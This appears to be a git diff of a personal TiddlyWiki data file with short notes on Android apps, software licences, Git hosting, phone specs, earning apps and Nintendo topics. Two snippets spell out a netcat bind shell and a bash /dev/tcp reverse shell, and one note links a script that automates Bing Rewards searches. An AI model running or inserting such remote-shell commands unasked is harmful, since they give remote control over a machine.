Player F-Droid\n* NeoBackup\n* NewPipe\n* News Provider\n* OpenBoard\n* Open Camera\n* ONLYOFFICE\n* PCAPdroid\n* PocketMaps\n* Psiphon Pro\n* Pydroid 3\n* QR & Barcode Scanner\n* Quill\n* Readrops\n* Rekado\n* RustDesk\n* SAI\n* ScreenStreamer\n* Seal\n* Sketchware Pro\n* StreetComplete\n* Squircle IDE\n* SuperFreezZ\n* Tiddloid\n* tooot\n* Tor Browser\n* Transdroid\n* Unexpected Keyboard\n* UserLAnd\n* VirtualXposed\n* VMOS Pro\n* WiGLE WiFi\n","tags":"","title":"Android Apps","modified":"20230205151935502","modifier":"Octt"}, +{"created":"20230205151705787","creator":"Octt","text":"List of some Android apps to keep in mind.\n\n* AccA\n* Activity Launcher\n* AdAway\n* AIDA64\n* Andronix\n* Antutu\n* APK Editor Pro\n* B612\n* Color\n* Cryptomator\n* dotpict\n* Gadgetbridge\n* GitJournal\n* ibisPaint X\n* LibreTorrent\n* Linux Deploy\n* Lucky Patcher\n* Material Files\n* Mi Remote\n* MiXplorer\n* Music Player F-Droid\n* NeoBackup\n* NewPipe\n* News Provider\n* OpenBoard\n* Open Camera\n* ONLYOFFICE\n* PCAPdroid\n* PocketMaps\n* Psiphon Pro\n* Pydroid 3\n* QR & Barcode Scanner\n* Quill\n* Readrops\n* Rekado\n* RustDesk\n* SAI\n* ScreenStreamer\n* Seal\n* Sketchware Pro\n* StreetComplete\n* Squircle IDE\n* SuperFreezZ\n* Tiddloid\n* tooot\n* Tor Browser\n* Transdroid\n* Unexpected Keyboard\n* UserLAnd\n* VirtualXposed\n* VMOS Pro\n* WiGLE WiFi\n","tags":"","title":"Android Apps","modified":"20230207191025629","modifier":"Octt"}, {"created":"20230110225425199","creator":"Octt","text":"\u003C\u003CMediaWiki Animal_Crossing en 2>>","tags":"Nintendo TODO $:/i18n:en Game","title":"Animal Crossing:en","modified":"20230206203924220","modifier":"Octt"}, {"created":"20230128233320444","creator":"Octt","text":"The ''Anti-Capitalist Software License'' (''ACSL'') is a license for proprietary software that, while with some good intentions, has a questionable implementation resulting in bad qualities. It's not open-source, and thus should be avoided for most projects. I don't think it could hold in a court of law.\n\n* Website: [[anticapitalist.software|https://anticapitalist.software]]\n\nI've seen a number higher than one of modified versions of this license in the wild:\n\n* Form promoting the anti-cryptocurrency narrative: https://github.com/Lana-chan/webgbcam/raw/main/LICENSE - It adds: \"//5. The User must not be involved in Non-Fungible Tokens or any other form of cryptocurrency minting or exchange.//\"\n","tags":"TODO Legal $:/i18n:en","title":"Anti-Capitalist Software License:en","modified":"20230206111552063","modifier":"Octt"}, {"created":"20230128234619470","creator":"Octt","text":"The ''Anti-Fascist MIT License'' is a MIT license modified with additional text to prohibit use by fascists. I don't think fascists will respect it, one of their mottos is literally \"me ne frego\" (\"I don't care\"), nor do I think the license could actually hold in a court of law, but the intentions behind it are good.\n\n* Repo: [[github.com/jamiebuilds/anti-fascist-mit-license|https://github.com/jamiebuilds/anti-fascist-mit-license]]\n\nAfter further research, it appears that forks exist:\n\n* https://github.com/Laurelai/anti-fascist-mit-license\n","tags":"Legal $:/i18n:en","title":"Anti-Fascist MIT License:en","modified":"20230206111552066","modifier":"Octt"}, @@ -606,7 +606,6 @@ Error message and password prompt {"created":"20230116204701243","text":"''[[daedalOS|https://dustinbrett.com]]'' is an [[open-source]] [[pseudo-OS]] made for the Web browser.\n\n* Git: [[github.com/DustinBrett/daedalOS|https://github.com/DustinBrett/daedalOS]]\n\n!! ''Try it''\n\n\u003C\u003CiFrameFixed \"https://dustinbrett.com\">>","tags":"$:/i18n:en","title":"daedalOS:en","modified":"20230206111552095","modifier":"Octt"}, {"created":"20230130081618018","creator":"Octt","text":"","tags":"TODO","title":"DevKitPro","modified":"20230130081716116","modifier":"Octt"}, {"created":"20230116202834289","creator":"Octt","text":"\u003C\u003CMediaWiki Doom_(franchise) en 4>>\n\n\u003C!--\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://dos.zone/player/?bundleUrl=https://cdn.dos.zone/custom/dos/doom.jsdos&exit=1\">>\n--->\n","tags":"TODO FPS Retro $:/i18n:en Game","title":"DOOM:en","modified":"20230206203924221","modifier":"Octt"}, -{"created":"20230205143148006","creator":"Octt","text":"\u003C\u003C\n\u003C!-- \u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://duckduckgo.com/\">> -->\n\n!!! ''Resources''\n\n* TWRP: (I have to find the old thread)\n\n!!!! ''Custom ROMs''","tags":"TODO Android","title":"Draft of 'Xiaomi Redmi 9T' by Octt","modified":"20230206224100596","modifier":"Octt","draft.title":"Xiaomi Redmi 9T","draft.of":"Xiaomi Redmi 9T"}, {"created":"20230205150439194","creator":"Octt","text":"","tags":"TODO","title":"DraStic","modified":"20230205150453937","modifier":"Octt"}, {"created":"20230206211907427","creator":"Octt","text":"Graphs of my earnings should be available soon.\n\n!!! ''Misc''\n\n!!!! ''[[Microsoft Rewards|https://rewards.bing.com/]]''\n\n; (At least in Italy, I don't know about other markets) MS Rewards lets you exchange points for [[Amazon]] gift cards:\n: 5€ = 7500 rp\n: 10€ = 15000 rp\n\n* https://octospacc.gitlab.io/pastebin/BingSpam.html - Script for completing the daily searches goal in Bing without doing searches by hand; Have been using it for months now, never got banned, it //should// be safe\n\n!!! ''Network traffic sharing''\n\n!!!! ''[[Earnapp|https://earnapp.com/i/4lef5dm]]''\n\nI haven't been using Earnapp for months now due to first technical issues on my side, then a bit of forgetfulness and also because the service isn't paying like it used to (traffic decreased).\n\n* [[EarnApp-Docker|https://github.com/fazalfarhan01/EarnApp-Docker]] - //Containerized version of BrightData's EarnApp//\n\n!!!! ''[[Honeygain|https://r.honeygain.me/OCTO870875]]''\n\nThe service is absolutely not paying like it used to nowaydays, sadly, does little traffic. Also be careful if using this, refrain from doing something that goes in the gray side of their ToS as they could ban you. Some people have been banned near reaching a payout; some also then unbanned after a while.\n\nHoneygain has a partnership with [[JumpTask|https://jumptask.io/]] so you can earn their crypto (BSC chain) token, and it's continuous, you don't have to reach payout targets. After months and months of evaluation, I think it's fair to say you only make a misery with JumpTask mode, as compared to normal mode.\n\n!!!! ''IPRoyal''\n\nThere was this service called IPRoyal (of which \"IPRoyal Pawns\" was the name of the side which pays users sharing traffic, \"IPRoyal\" is for who buys the traffic), which now seems to have changed name into [[Pawns.app|https://pawns.app/]] and include also surveys, not only network sharing. Never tried it either before or after the rebranding.\n\n!!!! ''[[PacketStream|https://packetstream.io/?psr=3BYD]]''\n\nI tried PacketStream for one or two days and saw it does a misery of traffic, not recommended.\n\n!!!! ''[[Peer2Profit|https://peer2profit.com/r/164287193361ec3c7d501a9/en]]''\n\nCurrently working ok. Has some issues on [[Vodafone]]'s mobile network, due to \"Vodafone Digital Privacy and Security\" thinking it is a malware and blocking the `api.peer2profit.global` API domain.\n\n* [[Peer2Profit-Docker|https://github.com/fazalfarhan01/Peer2Profit-Docker]] - //Containerized version of Peer2Profit//\n","tags":"","title":"Earning Resources","modified":"20230206222158713","modifier":"Octt"}, {"created":"20230130081424124","creator":"Octt","text":"\u003C\u003CMediaWiki Element_(software) en 2>>","tags":"Matrix.org App $:/i18n:en","title":"Element:en","modified":"20230206111552099","modifier":"Octt"}, @@ -625,9 +624,9 @@ Error message and password prompt {"created":"20221006205957260","text":"* [[[PICO-8] Advanced Micro Platformer - Starter Kit|https://www.lexaloffle.com/bbs/?tid=28793]]","tags":"Development Gaming $:/i18n:en","title":"GameDev Resources","modified":"20230206111552133","modifier":"Octt"}, {"created":"20230116202756249","text":"\u003C\u003CMediaWiki Video_game en 3>>\n","tags":"$:/i18n:en","title":"Gaming:en","modified":"20230206111552135","modifier":"Octt"}, {"created":"20230206194427467","creator":"Octt","text":"\u003C\u003CWikipediaFrame OpenAI#GPT en>>\n\n!!! ''Resources''\n\n* \u003C\u003CTwitterLink DYtweetshere/status/1617471632909676544 \"GPT is all you need for the backend\">> - [[[Paper|https://github.com/TheAppleTucker/backend-GPT]]]\n","tags":"AI LLM","title":"Generative Pre-trained Transformer","modified":"20230206195525971","modifier":"Octt"}, -{"created":"20230202231537773","creator":"Octt","text":"\u003C\u003CMediaWiki Git en 2>>\n\n!!! Self-hostable servers\n* Git-SCM: https://git-scm.com/\n* GitLab: https://about.gitlab.com/install/\n* Gitea: https://gitea.io/\n* sr.ht: https://man.sr.ht/installation.md\n\n!!! Gratis SaaS servers\n* 🇺🇸 https://GitHub.com\n* 🇺🇸 https://GitLab.com\n* 🇪🇺 https://Gitea.it\n* 🇪🇺 https://Codeberg.org\n* 🇦🇺 https://BitBucket.org\n* https://NotABug.org\n","tags":"","title":"Git","modified":"20230206190346514","modifier":"Octt"}, +{"created":"20230202231537773","creator":"Octt","text":"\u003C\u003CMediaWiki Git en 2>>\n\n!!! Self-hostable servers\n* Git-SCM: https://git-scm.com/\n* GitLab: https://about.gitlab.com/install/\n* Gitea: https://gitea.io/\n* sr.ht: https://man.sr.ht/installation.md\n\n!!! Gratis SaaS servers\n* 🇺🇸 [[GitHub]]\n* 🇺🇸 https://GitLab.com\n* 🇪🇺 https://Gitea.it\n* 🇪🇺 https://Codeberg.org\n* 🇦🇺 https://BitBucket.org\n* https://NotABug.org\n","tags":"","title":"Git","modified":"20230207192141208","modifier":"Octt"}, {"created":"20221018083042590","text":"!!! ''Commands (+ Flags/Tips)''\n\n* `clone ${URL}`: Clone (download) a repo to the computer storage\n** `--depth=${n}`: Explicitly specify how many commits to download (starting from latest)\n\n* `add ${Path}`: Update Git's internal list of tracked files. This should be issued (ideally for the root directory, `.`) before trying to commit after creating/deleting/moving/renaming files/folders.\n** A `.gitignore` file, containing a list of files or folder paths (one per line) can be created in a repo's root, to make the `add` command ignore those: they won't be tracked by Git, and thus won't be committed or pushed. Note: adding already tracked paths to `.gitignore` doesn't make it so they stop being tracked, they must be manually be deleted and then the `add` command issued again.\n\n* `config`\n** `credential.helper store`\n\n!!! ''Miscellaneous Flags''\n\n* `--global`: Apply a config command to the global user configuration (omitting applies to current directory if it is a Git repo)","tags":"Snippets $:/i18n:en","title":"Git/Snippets","modified":"20230206111552141","modifier":"Octt"}, -{"created":"20230206190107127","creator":"Octt","text":"!!! ''Tools''\n\n* [[nightly.link|https://nightly.link]] - //Downloads the latest \"nightly\" build/artifact from a continuous testing workflow without logging in// - [[[Git|https://github.com/oprypin/nightly.link]]]","tags":"Git TODO","title":"GitHub","modified":"20230206190331716","modifier":"Octt"}, +{"created":"20230206190107127","creator":"Octt","text":"* https://GitHub.com\n\n\u003C\u003CMediaWiki GitHub en 2>>\n\n!!! ''Tools''\n\n* [[nightly.link|https://nightly.link]] - //Downloads the latest \"nightly\" build/artifact from a continuous testing workflow without logging in// - [[[Git|https://github.com/oprypin/nightly.link]]]\n","tags":"Git","title":"GitHub","modified":"20230207192129736","modifier":"Octt"}, {"created":"20230130074305715","creator":"Octt","text":"\u003C\u003CMediaWiki GNOME en 2>>","tags":"$:/i18n:en","title":"GNOME:en","modified":"20230206111552143","modifier":"Octt"}, {"created":"20230130073302535","creator":"Octt","text":"\u003C\u003CMediaWiki GNU en 3>>","tags":"$:/i18n:en","title":"GNU:en","modified":"20230206111552145","modifier":"Octt"}, {"created":"20230130073428687","creator":"Octt","text":"\u003C\u003CMediaWiki GNU_Core_Utilities en 1>>","tags":"$:/i18n:en","title":"GNU/Coreutils:en","modified":"20230206111552147","modifier":"Octt"}, @@ -636,7 +635,7 @@ Error message and password prompt {"created":"20220922204301052","text":"Interesting news I collect from the hacky tech Internet sphere (HN primarily, but not exclusively).\n\n* [[TOTP tokens on my wrist with the smartest dumb watch|https://blog.singleton.io/posts/2022-10-17-otp-on-wrist]]\n* [[Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots|https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data]]\n* [[Disposable Root Servers|https://blog.thc.org/disposable-root-servers]]\n* [[Neurons in a dish learn to play Pong — what’s next?|https://www.nature.com/articles/d41586-022-03229-y]]\n* [[retrowin32, a win32 emulator|https://neugierig.org/software/blog/2022/10/retrowin32.html]]\n* [[Ray Tracing In Notepad.exe At 30 FPS|http://kylehalladay.com/blog/2020/05/20/Rendering-With-Notepad.html]]\n* [[You can't buy a Raspberry Pi right now|https://www.jeffgeerling.com/blog/2022/you-cant-buy-raspberry-pi-right-now]]\n* [[7 Cool HTML Elements Nobody Uses|https://tapajyoti-bose.medium.com/7-cool-html-elements-nobody-uses-436598d85668]]\n* [[Despite faster broadband every year, web pages don't load any faster|https://www.datafantic.com/how-much-time-do-we-waste-waiting-for-websites-to-load]] [//[[c|https://readhacker.news/c/5mBGU]]//]\n* [[Avoiding homework with code (and getting caught)|https://alistair.blog/mochip]] [//[[c|https://readhacker.news/c/5mBHL]]//]\n* [[Show HN: I made an open-source Bitly alternative|https://readhacker.news/c/5mzDH]]\n* [[If the Moon Were Only 1 Pixel (2014)|https://readhacker.news/c/5myKf]]","tags":"Reading Tech $:/i18n:en","title":"Hacking News","modified":"20230206111552156","modifier":"Octt"}, {"created":"20230202224901337","creator":"Octt","text":"\u003C\u003CWikipediaFrame HTML en>>","tags":"$:/i18n:en","title":"HTML:en","modified":"20230206111552159","modifier":"Octt"}, {"created":"20230205142456532","creator":"Octt","text":"","tags":"TODO Protocol Web","title":"HTTP","modified":"20230205142551190","modifier":"Octt"}, -{"created":"20230205143543756","creator":"Octt","text":"","tags":"TODO Android","title":"Huawei P9 Lite Mini","modified":"20230205143617655","modifier":"Octt"}, +{"created":"20230205143543756","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/huawei_p9_lite_mini-8833.php\">>\n\n* Product names:\n** Europe: Huawei Y6 Pro 2017\n** Other: Huawei P9 Lite Mini\n* Codename: selina\n* Model numbers:\n** Europe: SLA-L02\n** Other: SLA-L22","tags":"Android Huawei","title":"Huawei P9 Lite Mini","modified":"20230207184537601","modifier":"Octt"}, {"created":"20230205143015066","creator":"Octt","text":"","tags":"TODO","title":"I2C","modified":"20230205143034166","modifier":"Octt"}, {"created":"20230117104437158","text":"\u003C\u003CMediaWiki ImageMagick en 1>>\n\n!! ''Resources''\n* https://stackoverflow.com/questions/49899547/imagemagik-convert-pdf-to-pdf-without-doing-anything#49900085\n* https://stackoverflow.com/questions/15384879/imagemagick-using-more-than-2gb-of-memory-to-convert-pdf-files\n","tags":"$:/i18n:en","title":"ImageMagick:en","modified":"20230206111552161","modifier":"Octt"}, {"created":"20230206222830085","creator":"Octt","text":"","tags":"TODO","title":"Intellinet","modified":"20230206222941865","modifier":"Octt"}, @@ -658,7 +657,7 @@ Error message and password prompt {"created":"20230111153758951","creator":"Octt","text":"\u003C\u003CMediaWiki Linux en 5>>","tags":"TODO $:/i18n:en UNIX","title":"Linux:en","modified":"20230206222432039","modifier":"Octt"}, {"created":"20230111114229130","creator":"Octt","text":"* ''2023-01-10'' \u003Cdiv>\n\n; \"This group is unavailable due to copyright infringement.\"\n: I commenti erano appena stati attivati sul canale Telegram Animali_Crostini, tramite un gruppo chiamato \"//This group is unavailable due to copyright infringement//\", per scherzare sui modi di fare in generale di Nintendo contro chi viola il copyright. Intanto su [[spacctorium]] si stava discutendo di argomenti che potrebbero essere visti come violazione dei copyright (non di Nintendo). Ad un certo punto, noto un commento di L. nel gruppo del canale di Animali_Crostini, e invio una reazione come risposta. A quel punto, L. riceve una notifica desktop con il pauroso nome del gruppo, e l'anteprima del mio messaggio; immediatamente fa un avviso raffazzonato su spacctorium (senza porsi domande su perché fosse ancora visibile col nome normale) e scappa via, per poi scrivermi in privato. Ha creduto per un momento qualcosa di assurdo: che da ora Telegram faccia analisi in tempo reale dei messaggi per individuare violazioni di copyright. Ho dovuto spiegargli io la situazione. ''TLDR'': È avvenuto del trolling pesantissimo, ma involontario.\n","tags":"$:/i18n:it TODO","title":"Lista incidenti","modified":"20230206111646496","modifier":"Octt"}, {"created":"20230130081007594","creator":"Octt","text":"\u003C\u003CMediaWiki LXQt en 2>>","tags":"$:/i18n:en","title":"LXQt:en","modified":"20230206111552192","modifier":"Octt"}, -{"created":"20230206204533684","creator":"Octt","text":"\u003C\u003CMediaWiki Magisk_(software) en 2>>","tags":"Android","title":"Magisk","modified":"20230206204626586","modifier":"Octt"}, +{"created":"20230206204533684","creator":"Octt","text":"\u003C\u003CMediaWiki Magisk_(software) en 2>>\n\n* https://topjohnwu.github.io/Magisk/\n* https://github.com/topjohnwu/Magisk\n","tags":"Android","title":"Magisk","modified":"20230207191107549","modifier":"Octt"}, {"created":"20230130144734146","creator":"Octt","text":"\u003C\u003CWikipediaFrame Mario_Kart en >>","tags":"Retro Nintendo $:/i18n:en Game","title":"Mario Kart:en","modified":"20230206203924222","modifier":"Octt"}, {"created":"20230202225920722","creator":"Octt","text":"\u003C\u003CWikipediaFrame Markdown en>>","tags":"$:/i18n:en","title":"Markdown:en","modified":"20230206111552196","modifier":"Octt"}, {"created":"20230110220005274","text":"\u003C\u003CMediaWiki Mastodon_(social_network) en 3>>","tags":"Fediverse TODO $:/i18n:en","title":"Mastodon:en","modified":"20230206111552198","modifier":"Octt"}, @@ -666,7 +665,7 @@ Error message and password prompt {"created":"20220923130111988","creator":"Octt","text":"[[MeBoy|http://arktos.se/meboy]] is a libre (GPLv2) [[Game Boy|Game Boy:en]] (and Game Boy color) emulator for the [[J2ME|J2ME:en]] platform.","tags":"Emulation Gaming Nintendo [[Game Boy]] Open $:/i18n:en","title":"MeBoy:en","modified":"20230206111552202","modifier":"Octt"}, {"created":"20230112112905496","text":"\u003C\u003CMediaWiki MediaWiki en 4>>\n\n!! ''Resources''\n\n!!! ''Development''\n\n* \u003C\u003CExtMediaWikiAnchor \"API:Get_the_contents_of_a_page\" mediawiki.org>>","tags":"TODO $:/i18n:en","title":"MediaWiki:en","modified":"20230206111552204","modifier":"Octt"}, {"created":"20220923104738517","text":"[[melonDS|https://melonds.kuribo64.net]] is (sort of) a libre [[Nintendo DS|Nintendo DS:en]] emulator.\n\n[img[https://raw.githubusercontent.com/melonDS-emu/melonDS/master/res/icon/melon_128x128.png]]\n\nOver the years of development, the emulator had time to become a mature melon.\n\nToday, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC.","tags":"Emulation Nintendo NDS Gaming $:/i18n:en","title":"melonDS:en","modified":"20230206111552207","modifier":"Octt"}, -{"created":"20230112215325845","text":"\u003C\u003CMediaWiki Microsoft en 1>>","tags":"TODO $:/i18n:en","title":"Microsoft:en","modified":"20230206111552209","modifier":"Octt"}, +{"created":"20230112215325845","creator":"Octt","text":"\u003C\u003CMediaWiki Microsoft en 1>>","tags":"$:/i18n:en Company USA","title":"Microsoft:en","modified":"20230207191955896","modifier":"Octt"}, {"created":"20230130081056391","creator":"Octt","text":"\u003C\u003CMediaWiki Midnight_Commander en 2>>","tags":"$:/i18n:en","title":"Midnight Commander:en","modified":"20230206111552211","modifier":"Octt"}, {"created":"20230113110556145","creator":"Octt","text":"\u003C\u003CMediaWiki Miitomo en 2>>","tags":"TODO $:/i18n:en Nintendo","title":"Miitomo:en","modified":"20230206211339279","modifier":"Octt"}, {"created":"20230110220407274","text":"\u003C\u003CMediaWiki Miiverse en 3>>","tags":"Internet Nintendo TODO $:/i18n:en","title":"Miiverse:en","modified":"20230206111552214","modifier":"Octt"}, @@ -684,11 +683,13 @@ Error message and password prompt {"created":"20220921172621560","text":"\u003C$importvariables filter=\"$:/Macros [[$:/Macros/Music Archiving Status]]\">\n\n!!! Ujico / Snail's House | [[Bandcamp|https://0101.bandcamp.com/music]]\n\n\u003C\u003CTable \"\"\"\n\u003C\u003Cr Balloons>>\n\u003C\u003Cr \"Biscuit Funk\">>\n\u003C\u003Cr BLITZ>>\n\u003C\u003Cr \"Candy Dash (VIP)\">>\n\u003C\u003Cr \"Christmas of a Wandering Ghost\">>\n\u003C\u003Cr \"Dream Castle EP\">>\n\u003C\u003Cr [FLOWERS]>>\n\u003C\u003Cr Imaginarium>>\n\u003C\u003Cr Journey>>\n\u003C\u003Cr \"Kawaii Collective\">>\n\u003C\u003Cr Kitty>>\n\u003C\u003Cr \"L'été\">>\n\u003C\u003Cr \"Love Magic\">>\n\u003C\u003Cr \"love songs\">>\n\u003C\u003Cr \"Love Story\">>\n\u003C\u003Cr \".。:+*mal d'amour.。:+*\">>\n\u003C\u003Cr \"Magical Holiday\">>\n\u003C\u003Cr \"Ordinary Songs 1\">>\n\u003C\u003Cr \"Ordinary Songs 2\">>\n\u003C\u003Cr \"Ordinary Songs 3\">>\n\u003C\u003Cr \"Ordinary Songs 4\">>\n\u003C\u003Cr \"Ordinary Songs 5\">>\n\u003C\u003Cr \"Pâtisserie Snail\">>\n\u003C\u003Cr \"Pixel Galaxy\">>\n\u003C\u003Cr PIXELIZE>>\n\u003C\u003Cr scenery>>\n\u003C\u003Cr \"Snailchan Adventure\">>\n\u003C\u003Cr Snö>>\n\u003C\u003Cr Storyteller>>\n\u003C\u003Cr SUPERGIRL>>\n\u003C\u003Cr \"Sweety Sweety\">>\n\u003C\u003Cr Twinklestar>>\n\u003C\u003Cr \"ujbeats vol.1\">>\n\u003C\u003Cr \"ujbeats vol.2\">>\n\u003C\u003Cr \"Warp Star\">>\n\u003C\u003Cr ~WonderWorld>>\n\u003C\u003Cr \"エイリアン☆ポップ I\">>\n\u003C\u003Cr \"エイリアン☆ポップ II\">>\n\u003C\u003Cr \"エイリアン☆ポップ III\">>\n\u003C\u003Cr 妖>>\n\u003C\u003Cr \"空中都市\">>\n\u003C\u003Cr \"ドリームPrincess (Dream Princess) feat. 初音ミク\">>\n\u003C\u003Cr \"LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix)\">>\n\"\"\">>","tags":"Archiving Music","title":"Music Archiving Status/Ujico / Snail's House","modified":"20220923070856816","Balloons - GotLossless":"true","Balloons - UploadedLossless:Archive.org":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - GotLossless":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - UploadedLossless:Archive.org":"true","Christmas of a Wandering Ghost - GotLossless":"true","Christmas of a Wandering Ghost - UploadedLossless:Archive.org":"true","Kawaii Collective - GotLossless":"true","Kawaii Collective - UploadedLossless:Archive.org":"true",".。:+*mal d'amour.。:+* - GotLossless":"true",".。:+*mal d'amour.。:+* - UploadedLossless:Archive.org":"true","Ordinary Songs 1 - GotLossless":"true","Ordinary Songs 2 - GotLossless":"true","Ordinary Songs 3 - GotLossless":"true","Ordinary Songs 4 - GotLossless":"true","Ordinary Songs 5 - GotLossless":"true","Ordinary Songs 5 - UploadedLossless:Archive.org":"true","Ordinary Songs 4 - UploadedLossless:Archive.org":"true","Ordinary Songs 3 - UploadedLossless:Archive.org":"true","Ordinary Songs 2 - UploadedLossless:Archive.org":"true","Ordinary Songs 1 - UploadedLossless:Archive.org":"true","ujbeats vol.1 - GotLossless":"true","ujbeats vol.1 - UploadedLossless:Archive.org":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - GotLossless":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - UploadedLossless:Archive.org":"true","Candy Dash (VIP) - GotLossless":"true","Candy Dash (VIP) - UploadedLossless:Archive.org":"true","Balloons - GotAny":"true","Candy Dash (VIP) - GotAny":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - GotAny":"true","Christmas of a Wandering Ghost - GotAny":"true","Kawaii Collective - GotAny":"true",".。:+*mal d'amour.。:+* - GotAny":"true","Ordinary Songs 1 - GotAny":"true","Ordinary Songs 2 - GotAny":"true","Ordinary Songs 3 - GotAny":"true","Ordinary Songs 4 - GotAny":"true","Ordinary Songs 5 - GotAny":"true","ujbeats vol.1 - GotAny":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - GotAny":"true","BLITZ - GotAny":"true","Pâtisserie Snail - GotAny":"true","Dream Castle EP - GotAny":"false","エイリアン☆ポップ II - GotAny":"true","Imaginarium - GotAny":"true","Journey - GotAny":"false","Sweety Sweety - GotAny":"true","エイリアン☆ポップ I - GotAny":"true","love songs - GotAny":"true","Love Story - GotAny":"true","Kitty - GotAny":"true","Magical Holiday - GotAny":"true","Love Magic - GotAny":"true","Snailchan Adventure - GotAny":"true","Pixel Galaxy - GotAny":"true","Snö - GotAny":"true","SUPERGIRL - GotAny":"true","Twinklestar - GotAny":"true","Warp Star - GotAny":"true","エイリアン☆ポップ III - GotAny":"true","L'été - GotAny":"true","scenery - GotAny":"true","~WonderWorld - GotAny":"true","妖 - GotAny":"true","空中都市 - GotAny":"true","[FLOWERS] - GotAny":"true","Storyteller - GotAny":"true"}, {"created":"20221202224129631","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```","tags":"Snippets $:/i18n:en","title":"netcat/Normal Shell","modified":"20230206111552224","modifier":"Octt"}, {"created":"20220926095309988","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```","tags":"Snippets $:/i18n:en","title":"netcat/Reverse Shell","modified":"20230206111552227","modifier":"Octt"}, +{"created":"20230207185112276","creator":"Octt","text":"\u003C\u003CMediaWiki Nginx en 2>>\n\n!!! ''Resources''\n\n* [[How to set up Nginx as a caching reverse proxy?|https://serverfault.com/questions/30705/how-to-set-up-nginx-as-a-caching-reverse-proxy]]\n","tags":"","title":"Nginx","modified":"20230207185916300","modifier":"Octt"}, {"created":"20220923110724649","creator":"Octt","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003CLImg \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>","title":"Nintendo DS:en","modified":"20230206111552230","tags":"Gaming Nintendo NDS Console $:/i18n:en","modifier":"Octt"}, {"created":"20221018215927772","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>","tags":"Nintendo NDS Gaming $:/i18n:en","title":"Nintendo DS/Software Requiring Only the Bottom Screen","modified":"20230206111552237","modifier":"Octt"}, {"created":"20230202104823127","creator":"Octt","text":"\u003C\u003CMediaWiki Nintendo_Entertainment_System en 3>>","tags":"Nintendo Gaming $:/i18n:en","title":"Nintendo Entertainment System","modified":"20230206111552243","modifier":"Octt"}, {"created":"20220925130302833","creator":"Octt","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural 